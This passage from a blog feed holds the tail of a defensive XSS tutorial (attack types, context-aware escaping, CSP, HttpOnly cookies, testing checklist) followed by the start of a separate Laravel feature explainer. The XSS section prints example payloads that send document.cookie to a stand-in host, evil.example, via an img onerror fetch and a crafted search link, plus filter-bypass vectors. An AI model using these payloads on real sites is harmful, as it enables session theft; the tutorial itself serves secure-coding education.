<p>Filters that only block <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code> are trivially bypassed:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">x</span> <span class="na">onerror=</span><span class="s">"fetch('https://evil.example/steal?c='+document.cookie)"</span><span class="nt">&gt;</span>
</code></pre></div></div>

<p>There is no <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code> tag at all. The broken image triggers <code class="language-plaintext highlighter-rouge">onerror</code>, which runs the same JavaScript. Dozens of attributes (<code class="language-plaintext highlighter-rouge">onload</code>, <code class="language-plaintext highlighter-rouge">onmouseover</code>, <code class="language-plaintext highlighter-rouge">onerror</code>, <code class="language-plaintext highlighter-rouge">onfocus</code>, <code class="language-plaintext highlighter-rouge">onclick</code>) can carry a payload.</p>

<figure>
<svg viewBox="0 0 680 210" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Escalation ladder from a harmless alert box, to cookie theft, to session hijack, to full account takeover">
  <style>
    .t{font:600 13px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    .d{font:12px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
  </style>
  <rect x="1" y="150" width="150" height="46" rx="8" fill="#eff6ff" stroke="#bfdbfe" />
  <text class="t" x="20" y="170">Prove it works</text>
  <text class="d" x="20" y="187">alert(1)</text>

  <rect x="171" y="110" width="150" height="46" rx="8" fill="#dbeafe" stroke="#93c5fd" />
  <text class="t" x="190" y="130">Read cookies</text>
  <text class="d" x="190" y="147">document.cookie</text>

  <rect x="341" y="70" width="150" height="46" rx="8" fill="#fef3c7" stroke="#fcd34d" />
  <text class="t" x="360" y="90">Exfiltrate</text>
  <text class="d" x="360" y="107">fetch() to attacker</text>

  <rect x="511" y="20" width="165" height="46" rx="8" fill="#fee2e2" stroke="#fca5a5" />
  <text class="t" x="530" y="40">Session hijack</text>
  <text class="d" x="530" y="57">act as the victim</text>

  <path d="M151 165 L171 140 M321 128 L341 100 M491 88 L511 55" fill="none" stroke="#94a3b8" stroke-width="1.5" />
  <polygon points="171,140 162,141 168,149" fill="#94a3b8" />
  <polygon points="341,100 332,101 338,109" fill="#94a3b8" />
  <polygon points="511,55 502,56 508,64" fill="#94a3b8" />
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">One unescaped field is rarely "just" a popup. It is a foothold that escalates to full account takeover.</figcaption>
</figure>

<hr />

<h2 id="the-three-flavours-of-xss">The three flavours of XSS</h2>

<figure>
<svg viewBox="0 0 680 300" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Three types of XSS: stored, reflected, and DOM-based, each with where the payload lives and how it reaches the victim">
  <style>
    .g{font:700 12.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#1d4ed8;}
    .k{font:600 12.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    .v{font:12px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
    .bx{fill:#f8fafc;stroke:#e2e8f0;stroke-width:1.5;}
  </style>
  <rect class="bx" x="1" y="10" width="678" height="82" rx="9" />
  <text class="k" x="16" y="32">Stored (persistent)</text>
  <text class="v" x="16" y="53">Payload is saved in the database (a comment, profile bio, review) and served to</text>
  <text class="v" x="16" y="69">every visitor who views that page. Highest impact — no link needed, hits everyone.</text>

  <rect class="bx" x="1" y="104" width="678" height="82" rx="9" />
  <text class="k" x="16" y="126">Reflected (non-persistent)</text>
  <text class="v" x="16" y="147">Payload rides in the request (a URL query param, a search box) and is echoed</text>
  <text class="v" x="16" y="163">straight back in the response. Needs the victim to click a crafted link.</text>

  <rect class="bx" x="1" y="198" width="678" height="82" rx="9" />
  <text class="k" x="16" y="220">DOM-based</text>
  <text class="v" x="16" y="241">Never touches the server at all. Client-side JS reads something attacker-controlled</text>
  <text class="v" x="16" y="257">(location.hash, document.URL) and writes it into the DOM via innerHTML or similar.</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">Same root cause, three different places the unescaped write happens: the database, the request/response cycle, or the browser's own JavaScript.</figcaption>
</figure>

<p><strong>Reflected example</strong> — a search page that echoes the query back:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// DANGEROUS</span>
<span class="k">echo</span> <span class="s2">"You searched for: "</span> <span class="mf">.</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'q'</span><span class="p">];</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://shop.example/search?q=&lt;script&gt;document.location='https://evil.example/steal?c='+document.cookie&lt;/script&gt;
</code></pre></div></div>

<p>The attacker sends this link to the victim (email, chat, ad). One click runs the script in the victim’s authenticated session.</p>

<p><strong>DOM-based example</strong> — client-side code that trusts the URL:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// DANGEROUS</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">welcome</span><span class="dl">'</span><span class="p">).</span><span class="nx">innerHTML</span> <span class="o">=</span>
  <span class="dl">'</span><span class="s1">Hello, </span><span class="dl">'</span> <span class="o">+</span> <span class="nb">decodeURIComponent</span><span class="p">(</span><span class="nx">location</span><span class="p">.</span><span class="nx">hash</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">1</span><span class="p">));</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://app.example/#&lt;img src=x onerror=alert(document.cookie)&gt;
</code></pre></div></div>

<p>Nothing is sent to the server. The bug is entirely in the browser, so server-side sanitisation cannot catch it — this one has to be fixed in the front-end code.</p>

<hr />

<h2 id="the-fix-escape-output-by-context">The fix: escape output, by context</h2>

<p>The cure is to <strong>encode data for the context it lands in, right before it is written</strong>, so the browser can never interpret it as anything other than a literal value.</p>

<figure>
<svg viewBox="0 0 680 260" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Comparison: raw concatenation into HTML is unsafe; encoding the value for its output context is safe">
  <style>
    .h{font:700 13px -apple-system,Segoe UI,Roboto,sans-serif;}
    .m{font:12.5px ui-monospace,SFMono-Regular,Menlo,monospace;fill:#0f172a;}
    .n{font:12px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
  </style>

  <rect x="1" y="1" width="678" height="120" rx="10" fill="#fef2f2" stroke="#fecaca" />
  <text class="h" x="20" y="26" fill="#b91c1c">✗  Raw concatenation</text>
  <text class="m" x="20" y="52">echo "&lt;div&gt;" . $comment . "&lt;/div&gt;"</text>
  <text class="m" x="20" y="74">Browser receives:  &lt;div&gt;&lt;script&gt;...&lt;/script&gt;&lt;/div&gt;</text>
  <text class="n" x="20" y="100">The value is written as-is. Any HTML inside it is parsed as markup.</text>

  <rect x="1" y="138" width="678" height="120" rx="10" fill="#f0fdf4" stroke="#bbf7d0" />
  <text class="h" x="20" y="163" fill="#15803d">✓  Context-aware encoding</text>
  <text class="m" x="20" y="189">echo "&lt;div&gt;" . htmlspecialchars($comment) . "&lt;/div&gt;"</text>
  <text class="m" x="20" y="211">Browser receives:  &amp;lt;script&amp;gt;...&amp;lt;/script&amp;gt;  (shown as text)</text>
  <text class="n" x="20" y="237">Angle brackets become entities. The browser displays them, never executes them.</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">Same user input, two outcomes. The only difference is whether the value was encoded for its context before being written.</figcaption>
</figure>

<h3 id="how-it-looks-in-real-code">How it looks in real code</h3>

<p><strong>Raw PHP:</strong></p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">echo</span> <span class="s2">"&lt;div class='comment'&gt;"</span> <span class="mf">.</span> <span class="nb">htmlspecialchars</span><span class="p">(</span><span class="nv">$comment</span><span class="p">,</span> <span class="no">ENT_QUOTES</span><span class="p">,</span> <span class="s1">'UTF-8'</span><span class="p">)</span> <span class="mf">.</span> <span class="s2">"&lt;/div&gt;"</span><span class="p">;</span>
</code></pre></div></div>

<p><strong>Blade (Laravel)</strong> — <code class="language-plaintext highlighter-rouge">{{ }}</code> escapes automatically:</p>

<pre><code class="language-blade">&lt;div class="comment"&gt;{{ $comment }}&lt;/div&gt;
</code></pre>

<p>Only use <code class="language-plaintext highlighter-rouge">{!! !!}</code> when the value is trusted HTML you control, never raw user input.</p>

<p><strong>React</strong> — JSX escapes by default; <code class="language-plaintext highlighter-rouge">dangerouslySetInnerHTML</code> is the escape hatch and needs sanitisation:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nt">div</span> <span class="na">className</span><span class="p">=</span><span class="s">"comment"</span><span class="p">&gt;</span><span class="si">{</span><span class="nx">comment</span><span class="si">}</span><span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>   <span class="p">{</span><span class="cm">/* safe — escaped automatically */</span><span class="p">}</span>

<span class="p">&lt;</span><span class="nt">div</span> <span class="na">dangerouslySetInnerHTML</span><span class="p">=</span><span class="si">{</span><span class="p">{</span> <span class="na">__html</span><span class="p">:</span> <span class="nx">DOMPurify</span><span class="p">.</span><span class="nx">sanitize</span><span class="p">(</span><span class="nx">comment</span><span class="p">)</span> <span class="p">}</span><span class="si">}</span> <span class="p">/&gt;</span>  <span class="p">{</span><span class="cm">/* only if you truly need raw HTML */</span><span class="p">}</span>
</code></pre></div></div>

<p><strong>Vue</strong> — <code class="language-plaintext highlighter-rouge">{{ }}</code> escapes; <code class="language-plaintext highlighter-rouge">v-html</code> is the equivalent escape hatch:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"comment"</span><span class="nt">&gt;</span>{{ comment }}<span class="nt">&lt;/div&gt;</span>  <span class="c">&lt;!-- safe --&gt;</span>
<span class="nt">&lt;div</span> <span class="na">v-html=</span><span class="s">"comment"</span><span class="nt">&gt;&lt;/div&gt;</span>              <span class="c">&lt;!-- dangerous unless sanitised --&gt;</span>
</code></pre></div></div>

<p><strong>Node.js / Express with a template engine (EJS):</strong></p>

<pre><code class="language-ejs">&lt;div class="comment"&gt;&lt;%= comment %&gt;&lt;/div&gt;   &lt;!-- escaped --&gt;
&lt;div class="comment"&gt;&lt;%- comment %&gt;&lt;/div&gt;   &lt;!-- NOT escaped — avoid with user input --&gt;
</code></pre>

<p>Every modern templating engine escapes by default (<code class="language-plaintext highlighter-rouge">{{ }}</code>, <code class="language-plaintext highlighter-rouge">&lt;%= %&gt;</code>). The bug almost always comes from reaching for the engine’s explicit “trust me, output raw HTML” syntax — <code class="language-plaintext highlighter-rouge">{!! !!}</code>, <code class="language-plaintext highlighter-rouge">v-html</code>, <code class="language-plaintext highlighter-rouge">dangerouslySetInnerHTML</code>, <code class="language-plaintext highlighter-rouge">&lt;%- -%&gt;</code> — on data that came from a user.</p>

<hr />

<h2 id="encoding-is-not-one-size-fits-all">Encoding is not one-size-fits-all</h2>

<p>The same value needs <em>different</em> encoding depending on where it’s written. This is the part people get wrong even when they know to “escape output.”</p>

<div>

  <table>
    <thead>
      <tr>
        <th>Output context</th>
        <th>Example</th>
        <th>Encode with</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td><strong>HTML body</strong></td>
        <td><code class="language-plaintext highlighter-rouge">&lt;div&gt;{{ input }}&lt;/div&gt;</code></td>
        <td>HTML entity encoding (<code class="language-plaintext highlighter-rouge">&lt;</code> → <code class="language-plaintext highlighter-rouge">&amp;lt;</code>)</td>
      </tr>
      <tr>
        <td><strong>HTML attribute</strong></td>
        <td><code class="language-plaintext highlighter-rouge">&lt;img alt="{{ input }}"&gt;</code></td>
        <td>Attribute encoding (also quote-aware)</td>
      </tr>
      <tr>
        <td><strong>JavaScript string</strong></td>
        <td><code class="language-plaintext highlighter-rouge">&lt;script&gt;var x = "{{ input }}";&lt;/script&gt;</code></td>
        <td>JS-string encoding — HTML encoding alone does <em>not</em> stop <code class="language-plaintext highlighter-rouge">";alert(1);//</code></td>
      </tr>
      <tr>
        <td><strong>URL parameter</strong></td>
        <td><code class="language-plaintext highlighter-rouge">&lt;a href="?q={{ input }}"&gt;</code></td>
        <td>URL encoding (<code class="language-plaintext highlighter-rouge">encodeURIComponent</code>)</td>
      </tr>
      <tr>
        <td><strong>CSS value</strong></td>
        <td><code class="language-plaintext highlighter-rouge">&lt;div style="color:{{ input }}"&gt;</code></td>
        <td>CSS encoding, or avoid entirely</td>
      </tr>
    </tbody>
  </table>

</div>

<p>Mixing these up is a common bypass: HTML-encoding a value that lands inside a <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code> block does nothing, because the browser never treats that region as HTML in the first place — it’s already inside a JS string. Use a library built for this (OWASP’s ESAPI-style encoders, Laravel Blade, <code class="language-plaintext highlighter-rouge">DOMPurify</code> for cases needing rich HTML) rather than hand-rolling encoders per context.</p>

<hr />

<h2 id="the-trap-things-that-are-not-fixes">The trap: things that are <em>not</em> fixes</h2>

<div>

  <table>
    <thead>
      <tr>
        <th>Non-fix</th>
        <th>Why it fails</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td><strong>Blocklisting <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code></strong></td>
        <td>Bypassed by <code class="language-plaintext highlighter-rouge">&lt;img onerror=...&gt;</code>, <code class="language-plaintext highlighter-rouge">&lt;svg onload=...&gt;</code>, <code class="language-plaintext highlighter-rouge">&lt;a href="javascript:..."&gt;</code>, and dozens of other event-handler and pseudo-protocol vectors.</td>
      </tr>
      <tr>
        <td><strong>Stripping tags with regex</strong></td>
        <td>HTML parsing is not a regular language; malformed or nested markup routinely slips through hand-written filters.</td>
      </tr>
      <tr>
        <td><strong>Client-side validation only</strong></td>
        <td>Anyone can bypass JS validation with browser devtools or a direct HTTP request. Validate again on the server.</td>
      </tr>
      <tr>
        <td><strong>Escaping once, then reusing the “clean” string in a new context</strong></td>
        <td>A value escaped for HTML is not automatically safe inside a <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code> block or a URL — see the table above.</td>
      </tr>
      <tr>
        <td><strong><code class="language-plaintext highlighter-rouge">innerHTML = userInput</code></strong></td>
        <td>Directly parses the string as HTML. Use <code class="language-plaintext highlighter-rouge">textContent</code> for plain text, or a sanitiser if HTML is genuinely required.</td>
      </tr>
      <tr>
        <td><strong>Trusting “internal” or “admin-only” fields</strong></td>
        <td>Stored XSS in an admin panel still executes in the admin’s browser — often a higher-value target than a public page.</td>
      </tr>
    </tbody>
  </table>

</div>

<hr />

<h2 id="defense-in-depth">Defense in depth</h2>

<p>Output encoding stops the vulnerability at its source. The other layers limit the blast radius if something slips through — a new field added under deadline, a third-party widget, a forgotten <code class="language-plaintext highlighter-rouge">v-html</code>.</p>

<figure>
<svg viewBox="0 0 680 300" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Four concentric layers of defense against XSS, from output encoding at the core outward to monitoring and cookie flags"><style>
    .ring{fill:none;stroke-width:34;}
    .rl{font:600 12.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    .rc{font:700 13px -apple-system,Segoe UI,Roboto,sans-serif;fill:#1d4ed8;}
  </style>
  <circle class="ring" cx="150" cy="150" r="40" stroke="#2563eb" />
  <circle class="ring" cx="150" cy="150" r="74" stroke="#60a5fa" />
  <circle class="ring" cx="150" cy="150" r="108" stroke="#93c5fd" />
  <circle class="ring" cx="150" cy="150" r="142" stroke="#bfdbfe" />

  <text class="rc" x="118" y="154">core</text>

  <line x1="292" y1="150" x2="330" y2="150" stroke="#cbd5e1" />
  <text class="rl" x="336" y="118">1  Context-aware output encoding (templating engine default)</text>
  <text class="rl" x="336" y="146">2  Input validation — allow-list format for structured fields</text>
  <text class="rl" x="336" y="174">3  Content-Security-Policy header — blocks inline/unexpected scripts</text>
  <text class="rl" x="336" y="202">4  HttpOnly + Secure cookies, sanitiser (DOMPurify) for rich text</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">Only layer 1 removes the bug. Layers 2–4 decide how bad it is when someone forgets layer 1 — a strong CSP in particular can stop a missed injection from ever running.</figcaption>
</figure>

<p><strong>Content-Security-Policy is worth calling out specifically.</strong> A header like:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Content-Security-Policy: script-src 'self'
</code></pre></div></div>

<p>tells the browser to refuse to execute inline <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code> tags and event-handler attributes entirely, and only run scripts loaded from your own origin. It doesn’t fix the injection, but it can turn a successful injection into a harmless, inert string — a strong second layer.</p>

<p><strong>Cookie flags matter too.</strong> <code class="language-plaintext highlighter-rouge">HttpOnly</code> stops <code class="language-plaintext highlighter-rouge">document.cookie</code> from reading the session cookie at all, so even a successful XSS payload can’t steal it directly. <code class="language-plaintext highlighter-rouge">Secure</code> and <code class="language-plaintext highlighter-rouge">SameSite=Strict/Lax</code> close related gaps.</p>

<hr />

<h2 id="how-it-gets-found">How it gets found</h2>

<p>Testers and attackers probe the same way, and you can run these checks against your own app:</p>

<ul>
  <li><strong>The angle bracket probe.</strong> Enter <code class="language-plaintext highlighter-rouge">&lt;script&gt;alert(1)&lt;/script&gt;</code> (or <code class="language-plaintext highlighter-rouge">"&gt;&lt;svg onload=alert(1)&gt;</code> for attribute contexts) into every field, URL parameter, and header your app reflects. If an alert box fires, the input reached the page unescaped.</li>
  <li><strong>Check every context, not just the obvious one.</strong> Try the payload in query strings, form fields, <code class="language-plaintext highlighter-rouge">Referer</code>/<code class="language-plaintext highlighter-rouge">User-Agent</code> headers if you log and later render them, and file upload names.</li>
  <li><strong>Automated scanners.</strong> Burp Suite, OWASP ZAP, and <code class="language-plaintext highlighter-rouge">dalfox</code> automate payload variations across contexts; static analysers (ESLint’s <code class="language-plaintext highlighter-rouge">no-unsanitized</code>, Semgrep) flag <code class="language-plaintext highlighter-rouge">innerHTML</code>/<code class="language-plaintext highlighter-rouge">v-html</code>/<code class="language-plaintext highlighter-rouge">dangerouslySetInnerHTML</code> at build time. Wire one into CI.</li>
</ul>

<p>Test on systems you own or are authorised to test. Unauthorised probing is illegal.</p>

<hr />

<h2 id="a-five-point-checklist">A five-point checklist</h2>

<ol>
  <li><strong>Never write user input into HTML, an attribute, a script, or a URL without encoding it for that specific context.</strong></li>
  <li><strong>Trust your templating engine’s default escaping</strong> (<code class="language-plaintext highlighter-rouge">{{ }}</code>, <code class="language-plaintext highlighter-rouge">&lt;%= %&gt;</code>) and treat the raw-output escape hatch (<code class="language-plaintext highlighter-rouge">{!! !!}</code>, <code class="language-plaintext highlighter-rouge">v-html</code>, <code class="language-plaintext highlighter-rouge">dangerouslySetInnerHTML</code>) as a red flag requiring justification and sanitisation.</li>
  <li><strong>Add a Content-Security-Policy header</strong> that disallows inline scripts — it catches what encoding misses.</li>
  <li><strong>Set <code class="language-plaintext highlighter-rouge">HttpOnly</code> and <code class="language-plaintext highlighter-rouge">Secure</code> on session cookies</strong> so a successful injection still can’t steal the session.</li>
  <li><strong>Grep your codebase for the danger signs:</strong> <code class="language-plaintext highlighter-rouge">innerHTML =</code>, <code class="language-plaintext highlighter-rouge">v-html</code>, <code class="language-plaintext highlighter-rouge">dangerouslySetInnerHTML</code>, <code class="language-plaintext highlighter-rouge">{!! !!}</code>, <code class="language-plaintext highlighter-rouge">&lt;%- -%&gt;</code>, <code class="language-plaintext highlighter-rouge">document.write(</code>. Review every hit.</li>
</ol>

<hr />

<h2 id="conclusion">Conclusion</h2>

<p>XSS is the browser-side twin of SQL injection: the same mistake — letting user data become code instead of staying data — just in a different parser. It shows up as stored, reflected, or DOM-based, but the fix is always the same shape: encode the value for the exact context it lands in, right before you write it, and let your templating engine do that by default instead of reaching for the raw-output escape hatch. Add a Content-Security-Policy and <code class="language-plaintext highlighter-rouge">HttpOnly</code> cookies as a safety net, and this entire class of vulnerability stops being something that reaches production.</p>]]></content><author><name>Milanda Wijekoon</name><email>milandawijekoon@gmail.com</email></author><category term="Security" /><summary type="html"><![CDATA[A short, diagram-led note on Cross-Site Scripting. What XSS actually is, why unescaped output is the root cause, the three flavours of the attack with real payloads, and the small set of habits that shut it down for good. Readable in about 10–15 minutes.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://milandawijekoon.github.io/assets/images/logo.png" /><media:content medium="image" url="https://milandawijekoon.github.io/assets/images/logo.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">What is Laravel, and Why Would You Choose It for a Project?</title><link href="https://milandawijekoon.github.io/blog/what-is-laravel-and-why-choose-it/" rel="alternate" type="text/html" title="What is Laravel, and Why Would You Choose It for a Project?" /><published>2026-09-21T00:00:00+00:00</published><updated>2026-09-21T00:00:00+00:00</updated><id>https://milandawijekoon.github.io/blog/what-is-laravel-and-why-choose-it</id><content type="html" xml:base="https://milandawijekoon.github.io/blog/what-is-laravel-and-why-choose-it/"><![CDATA[<p>If you’ve never touched PHP frameworks before, “Laravel” can sound like just another name on a long list. This note goes one functionality at a time: what each core piece of Laravel actually does, how it compares to the equivalent in other modern frameworks, why “backend framework” undersells what it covers — frontend, mobile APIs, background processing, and scaling included — and, since “it has tests” isn’t the same as “the tests are good,” a look at the toolkit and plugins teams use to measure the quality of the code and the tests themselves. It reads in about 15–20 minutes.</p>

<hr />

<h2 id="the-one-sentence-definition">The one-sentence definition</h2>

<p><strong>Laravel is a free, open-source PHP web framework that gives you routing, a database layer, authentication, templating, and dozens of other common web-app pieces already built — so a team spends its time on the product, not on infrastructure every web app needs anyway.</strong></p>

<p>Everything below is a consequence of that sentence.</p>

<hr />

<h2 id="the-core-functionalities-one-by-one">The core functionalities, one by one</h2>

<p>Nine pieces cover almost everything a typical web application needs: <strong>routing</strong>, the <strong>Eloquent ORM</strong>, <strong>Blade templating</strong>, <strong>authentication &amp; authorization</strong>, <strong>validation</strong>, <strong>Artisan &amp; migrations</strong>, <strong>queues &amp; jobs</strong>, <strong>caching</strong>, and <strong>testing tools</strong>. None of them are unique to Laravel in isolation — every serious framework has <em>something</em> for each. What differs is how deep the built-in version goes, and what you’d have to add yourself elsewhere. Each one, in turn:</p>

<h3 id="1-routing">1. Routing</h3>

<p>Every incoming request is matched against a list of routes — a URL pattern plus an HTTP verb (GET, POST, PUT, DELETE) — and handed to the controller method or closure registered for it. Routes live in a small number of central files, support grouping (a set of routes that all need the same middleware, like “must be logged in”), and support <strong>route model binding</strong> — write a route that expects <code class="language-plaintext highlighter-rouge">{product}</code> in the URL, and Laravel automatically loads the matching database record and hands you the object, not just the ID.</p>

<p><strong>Compared to other frameworks:</strong> Symfony expresses routes as attributes scattered across each controller class, so seeing the whole map of an application means reading many files. Express (Node) matches routes in the order they’re registered, with no built-in model binding — you fetch the record yourself in every handler. Laravel keeps the route table centralized and declarative, and removes the “look up the record” step entirely for the common case.</p>

<h3 id="2-eloquent-orm">2. Eloquent ORM</h3>

<p>Eloquent maps each database table to a PHP class (a <strong>Model</strong>), and lets you read and write rows as objects instead of writing SQL by hand. Relationships between tables — one order has many items, one item belongs to one product — are declared as plain methods on the model, and Eloquent generates the joins and queries underneath. It sits on top of a full query builder, so nothing stops you from dropping to raw SQL for the rare case that needs it.</p>

<p><strong>Compared to other frameworks:</strong> this is the same ActiveRecord pattern Ruby on Rails made popular, and Eloquent borrows from it directly — that comparison holds up well. Django’s ORM is conceptually similar but tied tightly to Django itself. Express has no ORM of its own; a team picks one separately (Prisma, Sequelize, TypeORM), and that choice is independent of the framework, which means the two don’t always agree on conventions.</p>

<h3 id="3-blade-templating">3. Blade templating</h3>

<p>Blade is Laravel’s templating engine for generating HTML on the server. It compiles down to plain, cached PHP — so the abstraction costs almost nothing at request time — and gives you layout inheritance (a shared page shell that individual pages plug content into), reusable components, and directives that read like control structures instead of a separate template language bolted on top of HTML.</p>

<p><strong>Compared to other frameworks:</strong> this is the same role Twig plays for Symfony or the built-in template engine plays for Django — conceptually close. The difference is that Blade compiles to native PHP rather than being interpreted through a separate templating layer, which keeps it fast and lets you fall back to plain PHP inside a template when a directive doesn’t cover what you need.</p>

<h3 id="4-authentication--authorization">4. Authentication &amp; authorization</h3>

<p>Laravel ships starter kits (Breeze, Fortify, Jetstream) that scaffold registration, login, password resets, and email verification, so a team isn’t hand-rolling password hashing or session handling. <strong>Sanctum</strong> handles lightweight API token or single-page-app authentication; <strong>Passport</strong> provides a full OAuth2 server when a project needs to be an identity provider itself. <strong>Policies</strong> and <strong>Gates</strong> express authorization rules (“can this user edit this order?”) as small, testable PHP classes instead of scattered <code class="language-plaintext highlighter-rouge">if</code> checks.</p>

<p><strong>Compared to other frameworks:</strong> Django is the closest comparison — it also ships a real authentication system as part of the core framework. Rails leans on a popular third-party gem (Devise) rather than something built in. Express has nothing of its own here at all; authentication is 100% a library choice, made fresh on every project.</p>

<h3 id="5-validation">5. Validation</h3>

<p>Incoming request data is checked against a declarative set of rules — a field is required, must be an email, must be under a certain length — either inline in a controller or in a dedicated <strong>Form Request</strong> class. Failing validation automatically redirects back with the errors attached, ready for Blade to display next to the offending field, with no manual wiring.</p>

<p><strong>Compared to other frameworks:</strong> Rails validates mostly at the model layer through “strong parameters” plus separate validation gems. Express typically pulls in a standalone library (Joi, Zod) that has no built-in connection to how errors get shown back to the user. In Laravel, validation, the request lifecycle, and the view layer are designed to talk to each other directly.</p>

<h3 id="6-artisan--migrations">6. Artisan &amp; migrations</h3>

<p><strong>Artisan</strong> is Laravel’s command-line tool: it scaffolds boilerplate (a new model, controller, or test file, correctly named and placed) and runs operational tasks (queue workers, scheduled jobs, cache clearing). <strong>Migrations</strong> are schema changes — “add a column,” “create a table” — written as small, version-controlled PHP files that every teammate runs to arrive at an identical database structure, and that can be rolled back the same way they were rolled forward.</p>

<p><strong>Compared to other frameworks:</strong> Rails popularized this exact migration pattern, and Django has its own close equivalent — both hold up well against Laravel here. Express has no built-in answer; a team adopts a separate tool (Knex, Prisma Migrate) and wires it in themselves.</p>

<h3 id="7-queues--jobs">7. Queues &amp; jobs</h3>

<p>Slow work — sending an email, resizing an image, calling a third-party API — gets pushed onto a queue and processed by a background worker instead of blocking the request that triggered it. The underlying driver (Redis, Amazon SQS, or even the database itself) is a configuration choice, not a code change, and jobs can be retried automatically, chained in sequence, or batched together.</p>

<p><strong>Compared to other frameworks:</strong> Rails reaches this through Sidekiq plus the ActiveJob abstraction — a strong combination, but assembled from an external gem. Django’s answer is Celery, a fully separate project with its own configuration and operational overhead. Laravel’s queue system ships inside the framework itself, with the driver swap being the only thing that changes between a small app and a high-throughput one.</p>

<h3 id="8-caching">8. Caching</h3>

<p>A single <strong>Cache</strong> interface sits in front of whichever store a project actually uses — Redis, Memcached, the filesystem, or the database. Application code calls the same handful of methods regardless of which store is behind it, so moving from file-based caching in development to Redis in production is a configuration change, not a rewrite.</p>

<p><strong>Compared to other frameworks:</strong> many ecosystems couple application code directly to a specific caching library’s API, which makes swapping stores later a real migration. Laravel’s abstraction means that decision stays reversible.</p>

<h3 id="9-testing-tools">9. Testing tools</h3>

<p>Every new Laravel app is pre-wired for testing, with either PHPUnit or Pest already configured. Built-in HTTP testing helpers let a test simulate a full request — as a specific logged-in user, with specific input — and assert on the response, without spinning up a browser. Database testing helpers reset state between tests automatically, so tests don’t leak data into one another.</p>

<p><strong>Compared to other frameworks:</strong> Rails has a comparably strong built-in testing culture (RSpec, Minitest) — this is one of the closer comparisons. Express typically needs Supertest plus a separately chosen assertion library, wired together by hand, with no shared convention across projects for how it’s structured.</p>

<figure>
<svg id="diagram-laravel-request" viewBox="0 0 680 190" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Request lifecycle diagram: a browser sends a request, the router matches it to a controller, the controller validates input and calls Eloquent, Eloquent saves to the database, and the response flows back to the browser.">
  <style>
    #diagram-laravel-request .dg-k{font:600 11px ui-monospace,SFMono-Regular,Menlo,monospace;fill:#0f172a;}
    #diagram-laravel-request .dg-n{font:10.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
    #diagram-laravel-request .dg-bx{fill:#f8fafc;stroke:#e2e8f0;stroke-width:1.5;}
    #diagram-laravel-request .dg-uc{fill:#dbeafe;stroke:#60a5fa;stroke-width:1.5;}
  </style>
  <rect class="dg-bx" x="1" y="70" width="110" height="46" rx="8" />
  <text class="dg-k" x="14" y="90">Browser</text>
  <text class="dg-n" x="14" y="107">sends request</text>

  <path d="M111 93 H140" fill="none" stroke="#94a3b8" stroke-width="1.5" />
  <polygon points="143,93 134,88 134,98" fill="#94a3b8" />

  <rect class="dg-bx" x="143" y="70" width="100" height="46" rx="8" />
  <text class="dg-k" x="153" y="90">Router</text>
  <text class="dg-n" x="153" y="107">matches route</text>

  <path d="M243 93 H272" fill="none" stroke="#94a3b8" stroke-width="1.5" />
  <polygon points="275,93 266,88 266,98" fill="#94a3b8" />

  <rect class="dg-uc" x="275" y="64" width="150" height="58" rx="8" />
  <text class="dg-k" x="285" y="88">Controller</text>
  <text class="dg-n" x="285" y="106">validates input</text>

  <path d="M425 93 H454" fill="none" stroke="#94a3b8" stroke-width="1.5" />
  <polygon points="457,93 448,88 448,98" fill="#94a3b8" />

  <rect class="dg-bx" x="457" y="70" width="110" height="46" rx="8" />
  <text class="dg-k" x="467" y="90">Eloquent</text>
  <text class="dg-n" x="467" y="107">saves the record</text>

  <path d="M567 93 H600" fill="none" stroke="#94a3b8" stroke-width="1.5" />
  <polygon points="603,93 594,88 594,98" fill="#94a3b8" />

  <rect class="dg-bx" x="603" y="70" width="70" height="46" rx="8" fill="#eff6ff" />
